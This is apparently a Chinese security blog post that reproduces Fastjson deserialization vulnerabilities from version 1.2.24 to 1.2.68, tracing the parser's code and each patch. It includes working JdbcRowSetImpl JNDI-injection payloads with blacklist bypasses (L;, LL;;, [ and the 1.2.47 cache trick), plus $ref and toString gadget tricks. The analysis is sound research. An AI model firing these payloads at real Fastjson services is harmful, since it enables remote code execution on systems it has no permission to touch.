Fastjson反序列化漏洞复现分析

反序列化过程

fastjson将字符串转换为对象的方法主要有parse和parseObject,其中parseObject也会调用parse来解析json,下面来分析下反序列化过程;首先写一个测试的javabean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class TestBean {
public String isMessage;
public String message;
public int id;

public String getMessage() {
System.out.println("getMessage called");
return message;
}

public void setMessage(String message) {
System.out.println("setMessage called");
this.message = message;
}

public TestBean() {
}

public TestBean(String message, int id) {
this.message = message;
this.id = id;
}

public int getId() {
System.out.println("getId called");
return id;
}

public void setId(int id) {
System.out.println("setId called");

this.id = id;
}

@Override
public String toString() {
return "TestBean{" +
"message='" + message + '\'' +
", id=" + id +
'}';
}
}

反序列化测试代码

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class Derjson {
public static void main(String[] args) {
String text = "{\"@type\":\"TestBean\",\"message\":\"hello\",\"id\":888}";
Object obj = JSON.parseObject(text);
}
}

下断点调试,首先会进入com.alibaba.fastjson.JSON#parseObject(java.lang.String)

可以看到该方法中调用了parse方法来解析json字符串,跟进该方法

该方法中获取了一个json解析器,一路跟进到com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig) ,会在该方法中盘断json字符串是否以{[开头,然后分配不同的解析流程,以其他字符开头的后面的解析过程中会报错

然后回到parse来,接着会进行解析json串的流程

首先是创建一个JSONObject对象,然后执行com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法,该方法主要是对json相应的结构进行拆解,获取相应的值,进行对应的处理;比如在匹配到@type 键值时,会对其对应的值进行类加载操作

然后获取对应类的反序列化器

跟进getDeserializer,在识别到类是一个普通的javabean时,会调用com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer创建反序列化器,在该方法中又会使用com.alibaba.fastjson.util.JavaBeanInfo#build来绑定对应属性的setter,getter处理方法,对于setter方法的规定代码如下

要求setter方法长度大于4,不是静态方法,返回类型是void或所在类的类型,参数个数是1,第四个字母需要大写;然后会把set去掉,第四位字母小写后作为属性值来和bean中的属性列表来对比,当属性成功被匹配到时,将setter方法与该属性绑定,当没有匹配到时,会将属性名首位大写然后在前面加上is来组成一个新的属性,然后继续将其与bean中的属性列表对比,成功匹配到后将is开头的属性值与setter绑定

对于getter方法的规定如下

要求getter方法大于4,不能是static方法,方法以get开头且第四位大写,方法不能有参数,返回值继承Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong ;
在绑定完方法后,就开始进行反序列化操作,利用绑定的方法恢复属性的值;
值得注意的是,在反序列化的过程中,fastjson如果对json的字段找不到相应的方法时,会尝试对字段进行处理,反序列化方法在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)中
具体的处理方法在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

会尝试去掉字段中的_-然后再去进行反序列化操作。

漏洞版本分析

1.2.24

payload如下

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8001", "autoCommit":true}

前面已经知道fastjson在解析到@type时会实例化对应的类,然后调用其他键对应的setter方法,
首先会实例化com.sun.rowset.JdbcRowSetImpl类,然后调用其setDataSourceName方法设置DataSourceName

接着会调用setAutoCommit方法,然后调用connect方法
接着获取刚才设置的DataSourceName来发起jndi请求,完成利用

1.2.25-1.2.41

首先可以看看1.2.5做了哪些改变https://github.com/alibaba/fastjson/compare/1.2.24...1.2.25
在对类进行加载时,添加了一个checkAutoType方法

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
//判断是否开启autoTypeSupport
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
//在白名单中寻找目标类,如找到则加载类
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

//在黑名单中寻找目标类,如找到则报出异常
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
//当没开启autoTypeSupport时的处理
if (!this.autoTypeSupport) {
String accept;
int i;
//在黑名单中寻找,匹配到黑名单则抛出异常
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//在白名单中寻找找到后直接加载类
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

可以看到我们想利用必须要开启autoTypeSupport,然后绕过黑名单的限制,关于黑名单的绕过,可以在com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)找到答案

在类加载的过程中,会对以[开头 , 或以L开头并以;结尾的类名进行递归处理,将这些字符串去掉,那我们就可以将本来存在于黑名单的类的类名前面加上L结尾加上;来绕过黑名单的校验,测试代码

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fast1225 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8001\", \"autoCommit\":true}";
Object obj = JSON.parse(text);
}
}

在实际测试中发现在类名前面加一个[会出现如下报错

这个问题可以看https://xz.aliyun.com/t/7027 的评论

1.2.42

查看版本对比https://github.com/alibaba/fastjson/compare/1.2.41...1.2.42
可以看到将黑名单全换成了hash

同时在校验黑白名单之前,如果类名前面存在L结尾存在; 则会被去除,主要是为了应对1.2.5-1.2.41的情况

在这里由于上面分析过com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean) 会将L;递归删除,所以我们多加两组L;即可

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fast1242 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:8001\", \"autoCommit\":true}";
Object obj = JSON.parse(text);
}
}

1.2.43

查看对比https://github.com/alibaba/fastjson/compare/1.2.42...1.2.43

主要是修复了多层L ;的绕过,这里可以考虑使用[绕过,由于[正常格式json存在报错,payload可以参考https://xz.aliyun.com/t/7027

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fast1243 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:8001\",\"autoCommit\":true}";
Object obj = JSON.parse(text);
}
}

1.2.44

该版本主要对1.2.43的绕过进行了修复,禁止[开头的类名
https://github.com/alibaba/fastjson/compare/1.2.43...1.2.44

1.2.45-1.2.46

主要是在修复不断出现的黑名单绕过
https://github.com/alibaba/fastjson/compare/1.2.44...1.2.46

1.2.47

在该版本出现了一个无需开启AutoTypeSupport 的通杀payload

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class Fast1247 {
public static void main(String[] args) {
String text ="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8001\",\"autoCommit\":true}}}";
Object obj = JSON.parse(text);
}
}

分析下payload是如何起到作用的,首先回到checkAutoType方法中来,不管AutoTypeSupport是否开启(除非类在白名单中会直接return),都要经过以下代码段

可以看到payload分为两段,第一段想要加载java.lang.Class,首先会尝试从com.alibaba.fastjson.util.TypeUtils#mappings 中匹配想要加载的类,但是没有匹配到,接着会尝试在deserializers中寻找想要加载的类,在com.alibaba.fastjson.parser.ParserConfig#initDeserializers中初始化deserializers的时候,会设置很多个类,其中就包括我们想要的java.lang.Class

找到class后,在执行到AutoTypeSupport为false的处理代码之前,就将class return 了出去,接着就在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法中反序列化类,其中反序列化解析器就是初始化deserializers时设置的MiscCodec

跟进去到com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,当键为val时,

会将val的值赋给objval 接着赋值给strval , 接着由于class的值是Class.class,会调用TypeUtils.loadClass来加载类

跟进去会发现当cache为true时,会将val对应的值com.sun.rowset.JdbcRowSetImpl加入mapping中

然后就是解析第二段json了,还是回到checkAutoType,还是会经过这段代码

此时由于com.sun.rowset.JdbcRowSetImpl已经存在于mapping中,很明显可以获取到class,在校验黑名单之前返回类,也就完成了绕过,后面就是正常的触发流程

在版本1.2.33-1.2.47的时候,无论是否开启AutoTypeSupport,都可以成功利用,但在1.2.25-1.2.32版本中,只有当AutoTypeSupport关闭时才能成功利用,具体原因主要在开启AutoTypeSupport后的代码处理上存在不同
https://github.com/alibaba/fastjson/compare/1.2.32...1.2.33

在1.2.33-1.2.47版本中,只有当类在黑名单且缓存中查询不到时会保持,而之前版本只要在黑名单中就会报错,导致之前版本在AutoTypeSupport开启时不可利用。
总结一下,该payload主要是通过fastjson的缓存机制来绕过安全校验,首先将存在于黑名单的恶意类通过java.lang.class对应的deserializer的deserialize方法将val对应的值传入loadclass,然后将其加入mapping缓存中,接着在加载恶意类的时候会直接从缓存中获取,将安全校验绕过
在1.2.48中,直接将缓存开关默认关闭,阻止用户将类加入缓存中

1.2.68

在该版本中,主要的利用思路是checkAutoType 方法中传入的expectClass参数,主要代码如下

当传入的expectClass不在限制的黑名单中,传入的类名不再黑名单中,传入的类与expectClass是继承关系,则可以不使checkAutoType抛出异常,正常执行代码,经搜索只有JavaBeanDeserializer和ThrowableDeserializer的deserialze方法,以及JavaBeanDeserializer的deserialzeArrayMapping方法会在调用checkAutoType时传入不为null的expectClass,其中java.lang.AutoCloseable也可以通过校验,因为他在缓存中,而且输入输出流的类都实现于java.lang.AutoCloseable ,那么链子的寻找就变成了寻找不再黑名单中且实现了这几个可用接口的类,查找类中的getter,setter 或 构造方法中是否存在可利用的操作,具体链条的构造可以参考https://b1ue.cn/archives/364.html

一些有意思的payload

$ref构造

我们知道当使用parse方法来解析json时,是不会触发getter方法的,在1.2.36版本以后,可以利用$ref来构造特殊的payload,使其能调用getter方法,测试payload如下

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.parser.ParserConfig;

public class Derjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "[{\"@type\":\"TestBean\",\"message\":\"xxx\"},{\"$ref\":\"$[0].id\"}]";
Object obj = JSON.parse(text);
}
}

可以成功的触发getId方法,下面简要分析下fastjson是怎么处理的
先看到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法

当匹配到key为$ref 且value不为@.. , $时,会将value暂存起来,并添加一个ResolveTask,将当前value保存,然后等parse执行完后,会检查ResolveTask

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

由于前面新添加了一个ResolveTask,这里不会return出去,将会进入JSONPath.eval,然后一路来到com.alibaba.fastjson.JSONPath#getPropertyValue

在该方法中会先获取JavaBeanSerializer,然后调用getFieldValue获取指定属性的值,取值就会用调用到我们想调用的getter方法

触发toString

以下payload可以触发目标类的toString方法

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Derjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String text = "{{\"@type\":\"TestBean\",\"message\":\"xxx\"}:\"xyz\"}";
Object obj = JSON.parse(text);
}
}

主要原因是在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法中

由于xyz对应的key值是一个JSONObject对象,这时会调用其key的toString方法,也就是触发了TestBean的toString方法

参考链接

https://xz.aliyun.com/t/7027
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
https://github.com/safe6Sec/Fastjson
https://su18.org/post/fastjson/
https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/2.%E5%90%84%E7%A7%8D%E5%88%86%E6%9E%90/06.Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html#fastjson%E9%BB%91%E5%90%8D%E5%8D%95
https://mp.weixin.qq.com/s/GvR7ZXBtqDUUb3jXYYUexg
https://b1ue.cn/archives/348.html
https://blog.0kami.cn/2020/04/13/java/talk-about-fastjson-deserialization/
https://github.com/alibaba/fastjson/wiki/JSONPath